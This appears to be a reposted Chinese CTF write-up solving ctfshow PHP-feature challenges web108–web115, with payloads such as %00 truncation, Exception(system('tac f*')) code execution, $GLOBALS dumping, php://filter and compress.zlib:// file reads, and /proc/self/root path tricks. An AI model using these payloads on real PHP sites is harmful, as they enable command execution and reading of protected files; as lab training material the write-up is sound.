当前位置: 首页 > news >正文

ctfshow web入门 php特性 web108--web115

web108

在这里插入图片描述在这里插入图片描述ereg函数相当于而preg_match()函数
ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束
strrev函数就是把字符串倒过来

就是说intval处理倒过来的传参c==0x36d877

在这里插入图片描述?c=a%00778
在这里插入图片描述

web109

异常处理类
在这里插入图片描述通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)

?v1=Exception&&v2=system('ls')

在这里插入图片描述?v1=Exception&&v2=system('tac f*')
在这里插入图片描述

web110

filesystemiterator 遍历文件类DirectoryIterator 遍历目录类getcwd()函数 获取当前工作目录 返回当前工作目录

在这里插入图片描述?v1=Filesystemiterator&v2=getcwd
在这里插入图片描述缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件,所以这题的flag文件和之前一样都是.txt。
访问文件在这里插入图片描述

web111

在这里插入图片描述这道题没蒙,看了大佬的题解太详细了我写的也会很详细

PHP中,$a 本身表示一个变量名,而 &$a 并不是表示“a的位置”,而是表示对 $a 变量的引用。
在这里可以认为是地址

getflag函数

eval("$$v1 = &$$v2;");
//将v2的地址传给v1
var_dump($$v1); 
//打印v1 

v1中必须有ctfshow字符

var_dump会打印内容,但是并不知道flag在哪个文件于是使用PHP的超全局变量$GLOBALS

然后构造payload

?v1=ctfshow&v2=GLOBALS

在这里插入图片描述

web102

在这里插入图片描述is_file检查file是不是文件
这里过滤了很多php伪协议的东西但是最常用的filter还可以用

file协议不能绕过is_file的判断。
http协议需要公网ip。
glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。
?file=php://filter/resource=flag.php

在这里插入图片描述

web113

在这里插入图片描述filter过滤之后,可以用压缩流
?file=compress.zlib://flag.php在这里插入图片描述还有一种方法是目录溢出让is_file测不出file是文件

/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid//proc/self/root/是指向/的符号链接,就是根目录。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

也可以

web114

在这里插入图片描述刚才的目录溢出和压缩流用不了了,但是你看filter还有哈哈哈哈

?file=php://filter/resource=flag.php

在这里插入图片描述

web115

在这里插入图片描述

filter函数将0x,0,  .  ,e,+都过滤了
然后num还要满足
is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36' 

trim函数主要功能是从给定的字符串两端(即开头和结尾)去除指定的一系列字符

is_numeric可以在数字前面加**空格**绕过($num!=='36'这个也可以绕过)filter也可以绕过了
%0c(换页)绕过trim函数
?num=%0c36

在这里插入图片描述

http://www.lryc.cn/news/334299.html

相关文章:

  • 京东API接口采集商品详情数据(测试入口如下)
  • Mac brew 安装软件
  • 【顶部距离计算】计算元素顶部与浏览器顶部的距离
  • 守护人类健康:人工智能赋能医疗领域创新应用
  • linux常用指令(一)——cat、more、cp
  • 基于RTThread的学习(三):正点原子潘多拉 QSPI 通信 W25Q128 实验
  • Mac反编译APK
  • Java数据结构-队列
  • JVM专题——类文件结构
  • 零基础10 天入门 Web3之第2天
  • Vue和FastAPI实现前后端分离
  • 34470A是德科技34470A数字万用表
  • iOS 开发中上传 IPA 文件的方法(无需 Mac 电脑
  • c语言多媒体文件管理及检索系统220
  • 链表之双向链表的实现
  • 小白学大模型:什么是生成式人工智能?
  • 并发编程01-深入理解Java并发/线程等待/通知机制
  • 3.类与对象(中篇)介绍了类的6个默认构造函数,列举了相关案例,实现了一个日期类
  • Vue实现手机APP页面的切换,如何使用Vue Router进行路由管理呢?
  • 软考--软件设计师(软件工程总结2)
  • 渗透测试之SSRF漏洞
  • 【C++】1957. 求三个数的平均数
  • GPU部署ChatGLM3
  • Windows远程执行
  • AJAX —— 学习(一)
  • Activity——idea(2020以后)配置actiBPM
  • MyBatis——配置优化和分页插件
  • [蓝桥杯 2013 省 B] 翻硬币
  • [BT]BUUCTF刷题第13天(4.1)
  • 特别详细的Spring Cloud 系列教程1:服务注册中心Eureka的启动